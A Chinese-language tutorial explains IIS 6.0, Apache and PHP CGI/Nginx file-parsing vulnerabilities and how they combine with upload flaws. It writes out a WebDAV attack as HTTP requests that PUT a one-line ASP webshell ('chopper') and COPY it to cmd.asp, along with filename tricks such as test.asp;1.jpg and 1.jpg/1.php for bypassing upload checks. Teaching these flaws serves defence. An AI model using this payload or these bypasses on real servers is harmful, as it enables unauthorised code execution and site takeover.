WEB解析漏洞,攻击者在利用上传漏洞时,通常会与web容器的解析漏洞配合在一起。所以我们首先来了解一下解析漏洞,这样才能更深入地了解上传漏洞,并加以防范。今天,小小课堂网( www.xxkt.org )分享的是《WEB解析漏洞(IIS、Apache和PHP CGI解析漏洞)》。希望对大家有所帮助。
一、IIS解析漏洞
常见的Web容器有IIS、Nginx、Apache和Tomcat等,IIS6.0在解析文件时存在两个解析漏洞。
1、当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件夹解析。
例如:建立文件夹parsing.asp,在paring.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。
“NOW()”是ASP提供获取当前的时间函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本解析。
2、当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。
微软并不认为这是一个漏洞,也一直没有推出IIS6.0的补丁,所以这两个“漏洞”至今还存在,让无数的网站“死”在了IIS6.0解析漏洞之上。
IIS容器中,一个景点漏洞名为WebDav,Web-based Distributed Authoring and Versioning,是一种基于HTTP1.1协议的通信协议,它扩展了HTTP协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使HTTP协议更强大。
在开启WebDav扩展的服务器后,如果支持PUT、Move、Copy、Delete等方法,就可能会存在一些安全隐患,比如 www.xxkt.org 服务器(IIS6.0web容器)支持WebDav,并且存在PUT、Move、Copy、Delete等方法,那么攻击者可能通过PUT方法向服务器上传危险脚本文件。
第一步:通过OPTIONS探测服务器所支持的HTTP方法。
请求:
OPTIONS / HTTP/1.1
Host: www.xxkt.org
第二步:通过PUT方法向服务器上传脚本文件。
请求:
PUT /a.txt HTTP/1.1
Host: www.xxkt.org
Content-Length:30
<%eval request(“chopper”)%>
第三步:通过Move或Copy方法改名。
请求:
COPY /a.txt HTTP/1.1
Host:www.xxkt.org
Destination: http://www.xxkt.org /cmd.asp
通过这三个步骤,攻击者就可以轻易获取一个WebShell。
如果服务器开启了DELETE方法,攻击者还可以删除服务器上的任意文件。
请求:
DELETE /a.txt HTTP/1.1
Host: www.xxkt.org
针对这个漏洞的快速检测工具有:IIS Write。
二、Apache解析漏洞
在Apache 1.x和Apache 2.x中存在解析漏洞,但它们与IIS解析漏洞不同。URL中的文件名为1.php.rar,正常情况下,应该会弹出一个文件下载的提示框,但此时没有弹出,反而显示出了phpinfo()的内容这就是Apache的解析漏洞。1.php.rar的内容如下:
<?
phpinfo()
?>
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。比如:
1.php.rar.xs.aa
Apache首先会解析aa扩展名,如果不认识,将会解析xs扩展名,这样一直遍历到认识的扩展名为止,然后将其进行解析。那么Apache认识哪些扩展名呢?在Apache安装目录下“/conf/mime.types”文件中有详细的扩展名列表。
有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到webshell。
三、PHP CGI解析漏洞
Nginx是一款高性能的web服务器,通常用来作为PHP的解析容器,Nginx也曾经被曝过两个“解析漏洞”,比如,访问https://www.xxkt.org/ 1.jpg/1.php,此时的1.jpg会被当作PHP脚本本来解析。
此时的1.php是不存在的,却可以看到1.jpg已经按照PHP脚本来解析了,问题就出现在这个“1.php”上(1.php并不是特定的,可以随意命名)。这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后门加上“/xxx.php”,就可以获得网站的webshell。
这种漏洞被称为PHP CGI漏洞,在PHP的配置文件中有一个关键的选项: cgi.fi:x_pathinfo。这个选项在某些版本中是默认开启的,在开启时访问URL,比如https://www.xxkt.org/ x.txt/x.php,x.php是不存在的文件,所以PHP将会向前递归解析,于是造成了解析漏洞,可以说此漏洞与Nginx关系并不是很大,但由于Nginx与PHP配合很容易造成这种解析漏洞,所以PHP CGI漏洞常常被认为是Nginx解析漏洞。
以上就是小小课堂网( www.xxkt.org )分享的是《WEB解析漏洞(IIS、Apache和PHP CGI解析漏洞)》。感谢您的阅读。
所有文章均为小小课堂网原创。发布者:SEO免费培训教程,转转请注明出处:https://www.xxkt.org/15156